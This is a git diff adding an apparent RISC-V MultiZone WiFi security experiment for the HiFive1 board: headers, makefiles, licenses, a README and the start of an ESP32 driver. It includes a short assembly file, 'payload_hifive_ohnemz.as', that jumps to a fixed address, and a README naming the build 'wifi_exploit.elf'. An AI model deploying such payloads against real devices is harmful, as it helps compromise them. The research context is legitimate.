0x28 // LED Green +#define PWM_CMP3 0x2C // LED Blue + +#define PWM_CFG_SCALE 0x0000000F +#define PWM_CFG_STICKY 0x00000100 +#define PWM_CFG_ZEROCMP 0x00000200 +#define PWM_CFG_DEGLITCH 0x00000400 +#define PWM_CFG_ENALWAYS 0x00001000 +#define PWM_CFG_ONESHOT 0x00002000 +#define PWM_CFG_CMP0CENTER 0x00010000 +#define PWM_CFG_CMP1CENTER 0x00020000 +#define PWM_CFG_CMP2CENTER 0x00040000 +#define PWM_CFG_CMP3CENTER 0x00080000 +#define PWM_CFG_CMP0GANG 0x01000000 +#define PWM_CFG_CMP1GANG 0x02000000 +#define PWM_CFG_CMP2GANG 0x04000000 +#define PWM_CFG_CMP3GANG 0x08000000 +#define PWM_CFG_CMP0IP 0x10000000 +#define PWM_CFG_CMP1IP 0x20000000 +#define PWM_CFG_CMP2IP 0x40000000 +#define PWM_CFG_CMP3IP 0x80000000 + +// ----------------------------------------------------------------------------- +// GPIO +// ------------------------------------------------------------------------------ +#define GPIO_BASE 0x10012000 + +#define GPIO_INPUT_VAL 0x00 +#define GPIO_INPUT_EN 0x04 +#define GPIO_OUTPUT_EN 0x08 +#define GPIO_OUTPUT_VAL 0x0C +#define GPIO_PULLUP_EN 0x10 +#define GPIO_DRIVE 0x14 +#define GPIO_RISE_IE 0x18 +#define GPIO_RISE_IP 0x1C +#define GPIO_FALL_IE 0x20 +#define GPIO_FALL_IP 0x24 +#define GPIO_HIGH_IE 0x28 +#define GPIO_HIGH_IP 0x2C +#define GPIO_LOW_IE 0x30 +#define GPIO_LOW_IP 0x34 +#define GPIO_IOF_EN 0x38 +#define GPIO_IOF_SEL 0x3C +#define GPIO_OUTPUT_XOR 0x40 + +// ----------------------------------------------------------------------------- +// Buttons (GPIO and IRQ assignments) +// ------------------------------------------------------------------------------ +#define BTN0 0 // connect external buttons to the Arduino shield GPIO pins +#define BTN1 0 // connect external buttons to the Arduino shield GPIO pins +#define BTN2 0 // connect external buttons to the Arduino shield GPIO pins + +#define BTN0_IRQ 0 // connect external buttons to the Arduino shield GPIO pins +#define BTN1_IRQ 0 // connect external buttons to the Arduino shield GPIO pins +#define BTN2_IRQ 0 // connect external buttons to the Arduino shield GPIO pins + +// ----------------------------------------------------------------------------- +// LED0 (GPIO / PWM1) +// ------------------------------------------------------------------------------ +//#define LED_RED 22 +//#define LED_GRN 19 +//#define LED_BLUE 21 + +// ----------------------------------------------------------------------------- +// PLIC (shared) +// ------------------------------------------------------------------------------ +#define PLIC_BASE 0x0C000000 + +#define PLIC_PRI_OFFSET 0x0 +#define PLIC_PRI_SHIFT_PER_SOURCE 2 +#define PLIC_EN_OFFSET 0x2000 +#define PLIC_EN_SHIFT_PER_TARGET 1 +#define PLIC_THRES_OFFSET 0x200000 +#define PLIC_CLAIM_OFFSET 0x200004 + +#define PLIC_UART_RX_SOURCE 3 + + +// ----------------------------------------------------------------------------- +// C Helper functions +// ----------------------------------------------------------------------------- + +#define _REG64(base, offset) (*(volatile uint64_t *)((base) + (offset))) +#define _REG32(base, offset) (*(volatile uint32_t *)((base) + (offset))) + +#define CLINT_REG(offset) _REG64(CLINT_BASE, offset) +#define GPIO_REG(offset) _REG32(GPIO_BASE, offset) +#define PWM_REG(offset) _REG32(PWM_BASE, offset) +#define UART_REG(offset) _REG32(UART_BASE, offset) +#define PLIC_REG(offset) _REG32(PLIC_BASE, offset) + + +#endif /* HEXFIVE_PLATFORM_H */ diff --git a/multizone_wifi/debug.mk b/multizone_wifi/debug.mk new file mode 100644 index 0000000000000000000000000000000000000000..dd9916603a5a2cfcfd2f4babd397cc68589ade7e --- /dev/null +++ b/multizone_wifi/debug.mk @@ -0,0 +1,13 @@ +################################################### +# Build Flags for the Debug Configuration +################################################### + +# Set the optimization level +RISCV_ASFLAGS += -O0 +RISCV_CFLAGS += -O0 +RISCV_CXXFLAGS += -O0 + +# Enable debug +RISCV_ASFLAGS += -g +RISCV_CFLAGS += -g +RISCV_CXXFLAGS += -g diff --git a/multizone_wifi/manual.pdf b/multizone_wifi/manual.pdf new file mode 100644 index 0000000000000000000000000000000000000000..db8792e3267df0d4af45b475353e4901ab1ea2db Binary files /dev/null and b/multizone_wifi/manual.pdf differ diff --git a/multizone_wifi/multizone.h b/multizone_wifi/multizone.h new file mode 100644 index 0000000000000000000000000000000000000000..02ba8e331ff11d9f600654f8a6a3e072de6223b5 --- /dev/null +++ b/multizone_wifi/multizone.h @@ -0,0 +1,207 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ + +#ifndef MULTIZONE_H +#define MULTIZONE_H + + +#include <stdint.h> // uint32_t uint64_t + +/* MultiZone opcode */ +#define mzone ".word 0x00300073;" + +/* Thread Management */ +#define MZONE_YIELD() asm volatile ("li a0, 0;" mzone : : : "a0"); +#define MZONE_WFI() asm volatile ("li a0, 1;" mzone : : : "a0"); + +/* Secure Messaging */ +#if __riscv_xlen==32 + + #define MZONE_SEND(zone, msg) ({ \ + register uint32_t a0 asm ("a0"); \ + asm volatile ( \ + "mv a1, %2;" \ + "lw a2, 0*4+%1;" \ + "lw a3, 1*4+%1;" \ + "lw a4, 2*4+%1;" \ + "lw a5, 3*4+%1;" \ + "li a0, 2;" mzone : "=r"(a0) : "m"(*(const char (*)[16]) msg), "r"((int)zone) : "a1","a2","a3","a4","a5"); \ + a0; \ + }) + + #define MZONE_RECV(zone, msg) ({ \ + register uint32_t a0 asm ("a0"); \ + register uint32_t a2 asm ("a2"); \ + register uint32_t a3 asm ("a3"); \ + register uint32_t a4 asm ("a4"); \ + register uint32_t a5 asm ("a5"); \ + asm volatile ( \ + "mv a1, %5; " \ + "li a0, 3;" mzone : "=r"(a0), "=r"(a2),"=r"(a3),"=r"(a4),"=r"(a5) : "r"((int)zone) : "a1"); \ + *((uint32_t *)(msg+0*4)) = a2; \ + *((uint32_t *)(msg+1*4)) = a3; \ + *((uint32_t *)(msg+2*4)) = a4; \ + *((uint32_t *)(msg+3*4)) = a5; \ + a0; \ + }) + +#else + + #define MZONE_SEND(zone, msg) ({ \ + register uint64_t a0 asm ("a0"); \ + asm volatile ( \ + "mv a1, %2;" \ + "ld a2, 0*8+%1;" \ + "ld a3, 1*8+%1;" \ + "li a0, 2;" mzone : "=r"(a0) : "m"(*(const char (*)[16]) msg), "r"((int)zone) : "a1","a2","a3"); \ + a0; \ + }) + + #define MZONE_RECV(zone, msg) ({ \ + register uint64_t a0 asm ("a0"); \ + register uint64_t a2 asm ("a2"); \ + register uint64_t a3 asm ("a3"); \ + asm volatile ( \ + "mv a1, %3; " \ + "li a0, 3;" mzone : "=r"(a0), "=r"(a2),"=r"(a3) : "r"((int)zone) : "a1"); \ + *((uint64_t *)(msg+0*8)) = a2; \ + *((uint64_t *)(msg+1*8)) = a3; \ + a0; \ + }) + +#endif + +/* RTC & Timer */ +#if __riscv_xlen==32 + + #define MZONE_RDTIME() ({ \ + register uint32_t a0 asm ("a0"), a1 asm ("a1"); \ + asm volatile ("li a0, 4;" mzone : "=r"(a0), "=r"(a1)); \ + (uint64_t)a1<<32 | a0; \ + }) + + #define MZONE_RDTIMECMP() ({ \ + register uint32_t a0 asm ("a0"), a1 asm ("a1"); \ + asm volatile ("li a0, 5;" mzone : "=r"(a0), "=r"(a1)); \ + (uint64_t)a1<<32 | a0; \ + }) + + #define MZONE_WRTIMECMP(val) \ + asm volatile ( \ + "mv a1, %0; mv a2, %1;" \ + "li a0, 6;" mzone : : "r"((uint32_t)val), "r"((uint32_t)((uint64_t)val>>32)) : "a0", "a1", "a2" ); + + #define MZONE_ADTIMECMP(val) \ + asm volatile ( \ + "mv a1, %0; mv a2, %1;" \ + "li a0, 7;" mzone : : "r"((uint32_t)val), "r"((uint32_t)((uint64_t)val>>32)) : "a0", "a1", "a2" ); + +#else + + #define MZONE_RDTIME() ({ \ + register uint64_t a0 asm ("a0"); \ + asm volatile ("li a0, 4;" mzone : "=r"(a0)); \ + a0; \ + }) + + #define MZONE_RDTIMECMP() ({ \ + register uint64_t a0 asm ("a0"); \ + asm volatile ("li a0, 5;" mzone : "=r"(a0)); \ + a0; \ + }) + + #define MZONE_WRTIMECMP(val) \ + asm volatile ( \ + "mv a1, %0;" \ + "li a0, 6;" mzone : : "r"((uint64_t)val) : "a0", "a1"); + + #define MZONE_ADTIMECMP(val) \ + asm volatile ( \ + "mv a1, %0;" \ + "li a0, 7;" mzone : : "r"((uint64_t)val) : "a0", "a1"); + +#endif + +/* Fast CSR read */ +#define MZONE_CSRR(CSR_XXX) ({ \ + register unsigned long a0 asm ("a0"); \ + asm volatile ( \ + "mv a1, %1;" \ + "li a0, 8;" mzone : "=r"(a0) : "r"((unsigned long)CSR_XXX) : "a1"); \ + a0; \ +}) + +#define CSR_MSTATUS 0 +#define CSR_MIE 1 +#define CSR_MTVEC 2 +#define CSR_MSCRATCH 3 +#define CSR_MEPC 4 +#define CSR_MCAUSE 5 +#define CSR_MTVAL 6 + +#define CSR_MIP 7 +#define CSR_MISA 8 +#define CSR_MVENDORID 9 +#define CSR_MARCHID 10 +#define CSR_MIMPID 11 +#define CSR_MHARTID 12 + +#define CSR_MCYCLE 13 +#define CSR_MINSTRET 14 +#define CSR_MHPMCOUNTER3 15 +#define CSR_MHPMCOUNTER4 16 + +#if __riscv_xlen==32 + #define CSR_MCYCLEH 17 + #define CSR_MINSTRETH 18 + #define CSR_MHPMCOUNTER3H 19 + #define CSR_MHPMCOUNTER4H 20 +#endif + +#define CSR_MHPMCOUNTER26 21 // kernel irq lat cycle min +#define CSR_MHPMCOUNTER27 22 // kernel irq lat cycle max +// 23 // +#define CSR_MHPMCOUNTER28 24 // kernel ctx sw instr min +#define CSR_MHPMCOUNTER29 25 // kernel ctx sw instr max +#define CSR_MHPMCOUNTER30 26 // kernel ctx sw cycle min +#define CSR_MHPMCOUNTER31 27 // kernel ctx sw cycle max + + +/* Privileged Pseudoinstructions */ +#define CSRR(csr) ({ \ + unsigned long rd; \ + asm volatile ("csrr %0, " #csr : "=r"(rd)); \ + rd; \ +}) +#define CSRW(csr, rs) ({ \ + if (__builtin_constant_p(rs) && (unsigned long)(rs) < 32) \ + asm volatile ("csrw " #csr ", %0" :: "K"(rs)); \ + else \ + asm volatile ("csrw " #csr ", %0" :: "r"(rs)); \ +}) +#define CSRRW(csr, rs) ({ \ + unsigned long rd; \ + if (__builtin_constant_p(rs) && (unsigned long)(rs) < 32) \ + asm volatile ("csrrwi %0, " #csr ", %1" : "=r"(rd) : "K"(rs)); \ + else \ + asm volatile ("csrrw %0, " #csr ", %1" : "=r"(rd) : "r"(rs)); \ + rd; \ +}) +#define CSRS(csr, rs) ({ \ + unsigned long rd; \ + if (__builtin_constant_p(rs) && (unsigned long)(rs) < 32) \ + asm volatile ("csrrsi %0, " #csr ", %1" : "=r"(rd) : "K"(rs)); \ + else \ + asm volatile ("csrrs %0, " #csr ", %1" : "=r"(rd) : "r"(rs)); \ + rd; \ +}) +#define CSRC(csr, rs) ({ \ + unsigned long rd; \ + if (__builtin_constant_p(rs) && (unsigned long)(rs) < 32) \ + asm volatile ("csrrci %0, " #csr ", %1" : "=r"(rd) : "K"(rs)); \ + else \ + asm volatile ("csrrc %0, " #csr ", %1" : "=r"(rd) : "r"(rs)); \ + rd; \ +}) + + +#endif /* MULTIZONE_H */ diff --git a/multizone_wifi/multizone.jar b/multizone_wifi/multizone.jar new file mode 100644 index 0000000000000000000000000000000000000000..9f415511e15a7bb57212070cc8afaa5b2663382d Binary files /dev/null and b/multizone_wifi/multizone.jar differ diff --git a/multizone_wifi/payload_hifive_ohnemz.as b/multizone_wifi/payload_hifive_ohnemz.as new file mode 100644 index 0000000000000000000000000000000000000000..7e0d87a29d745f863dd08d318d2f7e51df95ff84 --- /dev/null +++ b/multizone_wifi/payload_hifive_ohnemz.as @@ -0,0 +1,4 @@ +.text + li a0, 0x20010368 + li t3, 0x200125d0 + jalr t4, t3 diff --git a/multizone_wifi/release.mk b/multizone_wifi/release.mk new file mode 100644 index 0000000000000000000000000000000000000000..11726ba0e931bd5133ac1f33102f506e41367915 --- /dev/null +++ b/multizone_wifi/release.mk @@ -0,0 +1,8 @@ +################################################### +# Build Flags for the Release Configuration +################################################### + +# Set the optimization level +RISCV_ASFLAGS += -Os +RISCV_CFLAGS += -Os +RISCV_CXXFLAGS += -Os diff --git a/multizone_wifi/zone1/.gitignore b/multizone_wifi/zone1/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..1a20e7276a1420e8a87853493259c3fc24e3fa4b --- /dev/null +++ b/multizone_wifi/zone1/.gitignore @@ -0,0 +1 @@ +wifi_data.h diff --git a/multizone_wifi/zone1/LICENSE b/multizone_wifi/zone1/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..201a5c0fde567b49e615e7185e0d4e41b8d0b7d4 --- /dev/null +++ b/multizone_wifi/zone1/LICENSE @@ -0,0 +1,3 @@ +This source repository is release under Apache2 and MIT licenses. + +See LICENSE.Apache2 and LICENSE.MIT for details. diff --git a/multizone_wifi/zone1/LICENSE.Apache2 b/multizone_wifi/zone1/LICENSE.Apache2 new file mode 100644 index 0000000000000000000000000000000000000000..d645695673349e3947e8e5ae42332d0ac3164cd7 --- /dev/null +++ b/multizone_wifi/zone1/LICENSE.Apache2 @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/multizone_wifi/zone1/LICENSE.MIT b/multizone_wifi/zone1/LICENSE.MIT new file mode 100644 index 0000000000000000000000000000000000000000..3a7e422b62e5659983cf9aad6936ea48cba241f9 --- /dev/null +++ b/multizone_wifi/zone1/LICENSE.MIT @@ -0,0 +1,21 @@ +The MIT License + +Copyright (c) 2019 SiFive, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the "Software"), +to deal in the Software without restriction, including without limitation +the rights to use, copy, modify, merge, publish, distribute, sublicense, +and/or sell copies of the Software, and to permit persons to whom the +Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/multizone_wifi/zone1/Makefile b/multizone_wifi/zone1/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..7a0be5fab28d8916a803d784a324c1e0dccc3e2d --- /dev/null +++ b/multizone_wifi/zone1/Makefile @@ -0,0 +1,16 @@ +# Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved + +TARGET = zone1.elf + +BSP_BASE := ../bsp +PLATFORM_DIR := $(BSP_BASE)/$(BOARD) +NEWLIB_DIR := $(PLATFORM_DIR)/newlib + +LINKER_SCRIPT := linker.lds + +C_SRCS += main.c cpu.c esp32.c esp32_network_implementation.c http_helpers.c led.c spi.c uart.c webserver.c + +INCLUDES += -I ../ + +include $(NEWLIB_DIR)/newlib.mk + diff --git a/multizone_wifi/zone1/README.md b/multizone_wifi/zone1/README.md new file mode 100644 index 0000000000000000000000000000000000000000..d8f65e8f2690de7acbc50491bed85a45389684cc --- /dev/null +++ b/multizone_wifi/zone1/README.md @@ -0,0 +1,41 @@ +# RISC-V Multizone experiment + +## Getting started + +To follow this guide, you need to have [Freedom Studio](https://github.com/sifive/freedom-studio) installed. + +### Importing the project + +First clone this repository and import the `sifive_software` folder into Freedom Studio. +You can do that by clicking on "File -> Import -> General -> Existing Projects into Workspace -> Next -> Browse", selecting the the cloned `sifive_software` folder then clicking on "Finish". + +### Setting up WiFi connection parameters + +Next you need to add your WiFi credentials in order to connect to your network. +To do this, create the file `sifive_software/src/wifi_data.h` with the following content, replacing `<SSID>` with the SSID of your WiFi network and `<PWD>` with the password for your WiFi network: + +```c +#ifndef WIFI_DATA_H_ +#define WIFI_DATA_H_ + +#define WIFI_SSID "<SSID>" +#define WIFI_PASSWORD "<PWD>" + +#endif +``` + +### Running the project on the HiFive1 Rev B + +First you need to build the project, by clicking on "Project -> Build All". +The resulting files should be located in the `sifive_software/src/debug` folder. + +The easiest method of actually running the project is through the Freedom Studio debugger. +To configure the debugger, click on "Run -> Debug Configurations..." and then right click on "SiFive GDB SEGGER J-Link Debugging" to create a "New Configuration". + +Make sure that in the text field "C/C++ Application" in the tab "Main" contains the value "src/debug/wifi_exploit.elf". +Next you need to click on the "Target" tab and select the "bsp/design.dts" file for the "DTS File" field. + +Now you should be able to debug the project through Freedom Studio (for example by clicking on "Run -> Debug"). + +Please note that we have had problems with the actual debugging. +While this process does successfully flash the latest version of the code onto the board, **you may need to press the reset button on the board in order for it to correctly connect with the contained ESP32 chip and therefore the WiFi**, disconnecting the debugger. diff --git a/multizone_wifi/zone1/cpu.c b/multizone_wifi/zone1/cpu.c new file mode 100644 index 0000000000000000000000000000000000000000..9ed2779bd514082ed2fb0cf22c2ef2b8ff7a8227 --- /dev/null +++ b/multizone_wifi/zone1/cpu.c @@ -0,0 +1,54 @@ +#include <stdint.h> +#include "cpu.h" + +#define CPU_FREQ 320000000 +#define PLLR_2 1 +#define PLLQ_2 1 + +uint32_t cpu_freq(void) +{ + return CPU_FREQ; +} + +void delay(uint32_t counter) +{ + volatile uint32_t i = 0; + while (i < counter) { + i++; + } +} + +// METAL_SIFIVE_FE310_G000_PRCI_10008000_BASE_ADDRESS is defined in +// <metal/machine/platform.h> but that's not used here (who would +// want to use a decimal number for an address?) +#define PLLCFG *(volatile uint32_t*)0x10008008 +#define BITS(idx, val) ((val) << (idx)) + +// PLLCFG register bit indexes +#define PLLR_I 0U +#define PLLF_I 4U +#define PLLQ_I 10U +#define PLLSEL_I 16U +#define PLLREFSEL_I 17U +#define PLLBYPASS_I 18U +#define PLLLOCK_I 31U + +/* Sets CPU speed to 320 MHz */ +void cpu_clock_init(void) +{ + uint32_t cfg_temp = 0; + + /* There is a 16 MHz crystal oscillator HFXOSC on the board */ + cfg_temp |= BITS(PLLREFSEL_I, 1); // Drive PLL from 16 MHz HFXOSC + cfg_temp |= BITS(PLLR_I, PLLR_2); // Divide ratio. R=2 for 8 MHz out + cfg_temp |= BITS(PLLF_I, 80/2 - 1U); // Multiply ratio. 8 MHz x 40 is 640 MHz out + cfg_temp |= BITS(PLLQ_I, PLLQ_2); // Divide 640MHz with 2 to get 320 MHz + // PLLSEL_I = 0 : PLL is not driving hfclk for now + // PLLBYPASS_I = 0 : Enables PLL + PLLCFG = cfg_temp; + + delay(1000); + + while ( PLLCFG & BITS(PLLLOCK_I, 1) == 0) {} // Wait until PLL locks + PLLCFG |= BITS(PLLSEL_I, 1); // Let PLL drive hfclk +} diff --git a/multizone_wifi/zone1/cpu.h b/multizone_wifi/zone1/cpu.h new file mode 100644 index 0000000000000000000000000000000000000000..611ff975626521e8fa5e66fe4231234367257f3d --- /dev/null +++ b/multizone_wifi/zone1/cpu.h @@ -0,0 +1,10 @@ +#ifndef CPU_H__ +#define CPU_H__ + +#include <stdint.h> + +uint32_t cpu_freq(void); +void delay(uint32_t counter); +void cpu_clock_init(void); + +#endif diff --git a/multizone_wifi/zone1/esp32.c b/multizone_wifi/zone1/esp32.c new file mode 100644 index 0000000000000000000000000000000000000000..8568414b0d7efe973888737351343a2821025dad --- /dev/null +++ b/multizone_wifi/zone1/esp32.c @@ -0,0 +1,436 @@ +// The ESP32 is connected via a SPI interface +// The communication works by sending it commands (for details see spi.c) and receiving answers +// This is done with a text based protocol (found at https://www.espressif.com/sites/default/files/documentation/esp32_at_instruction_set_and_examples_en.pdf) +// This file aims to build an abstraction on top of that protocol, resulting in a more high-level API +// for accessing the ESP32 networking functionality. + +#include <stdio.h> +#include <string.h> +#include <stdint.h> +#include <stddef.h> +#include <stdlib.h> +#include "esp32.h" +#include "spi.h" +#include "cpu.h" + +#define DELAY 20000000 +#define RECV_BUF_LEN 128 //4096 // mit 128 kam manchmal das gewünschte Fenster. nach bestätigung kam Load access fault : 0x00000005 0x20013ef8 0x00000000 + +#define VERBOSITY 2 + +#define EXPECT_NOISY 0 +#define EXPECT_SILENT 1 + +#define MSG_OK "\r\nOK\r\n", 6 +#define MSG_BUSY "\r\nbusy p...\r\n", 13 +#define MSG_C "C\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 67 + +#define min(x,y) ((x) < (y) ? (x) : (y)) + +static char recv_buf[RECV_BUF_LEN]; +static uint32_t recv_len; + +struct esp32_event_queue_element { + char *data; + uint32_t len; + struct esp32_event_queue_element *next; +}; + +struct esp32_event_queue_element *esp32_event_queue_head = NULL; +struct esp32_event_queue_element *esp32_event_queue_tail = NULL; + +enum esp32_event esp32_classify_event(char *ptr, uint32_t len); + +// Pushes an event message to the back of the event queue +void esp32_push_event_to_queue(char *ptr, uint32_t len) { + char *new_ptr = malloc(len); + printf("%i wuff\n", len); + printf("%p wuff\n", new_ptr); + if(new_ptr == NULL) { + // Drop packet if memory allocation fails + return; + } + + memcpy(new_ptr, ptr, len); + + struct esp32_event_queue_element *new_elem = malloc(sizeof(struct esp32_event_queue_element)); + printf("%p miau\n", new_elem); + if(new_elem == NULL) { + free(new_ptr); + // Drop packet if memory allocation fails + return; + } + + new_elem->data = new_ptr; + new_elem->len = len; + new_elem->next = NULL; + + if(esp32_event_queue_tail == NULL) { + esp32_event_queue_head = new_elem; + esp32_event_queue_tail = new_elem; + } else { + esp32_event_queue_tail->next = new_elem; + esp32_event_queue_tail = new_elem; + } +} + +// Pops an event message from the front of the queue +enum esp32_result esp32_pop_event_from_queue(char **ptr, uint32_t *len) { + if(esp32_event_queue_head == NULL) { + return ESP32_ERR; + } + + struct esp32_event_queue_element *old_head = esp32_event_queue_head; + esp32_event_queue_head = old_head->next; + if(old_head->next == NULL) { + esp32_event_queue_tail = NULL; + } + + *ptr = old_head->data; + *len = old_head->len; + free(old_head); + + return ESP32_OK; +} + +// Receives new data from the ESP32, if data is ready. +enum esp32_result esp32_recv(void) { + while(spi_read_ready()) { + spi_recv(recv_buf, sizeof(recv_buf), &recv_len); + +#if VERBOSITY > 1 + if(recv_len > 2 && recv_buf[0] == '\r' && recv_buf[1] == '\n') { + printf("<-- \\r\\n%s\r\n", &recv_buf[2]); + } else { + printf("<-- %s\r\n", recv_buf); + } +#endif + + if(esp32_classify_event(recv_buf, recv_len) != ESP32_UNKNOWN_EVENT) { + esp32_push_event_to_queue(recv_buf, recv_len); + continue; + } + + return ESP32_OK; + } + 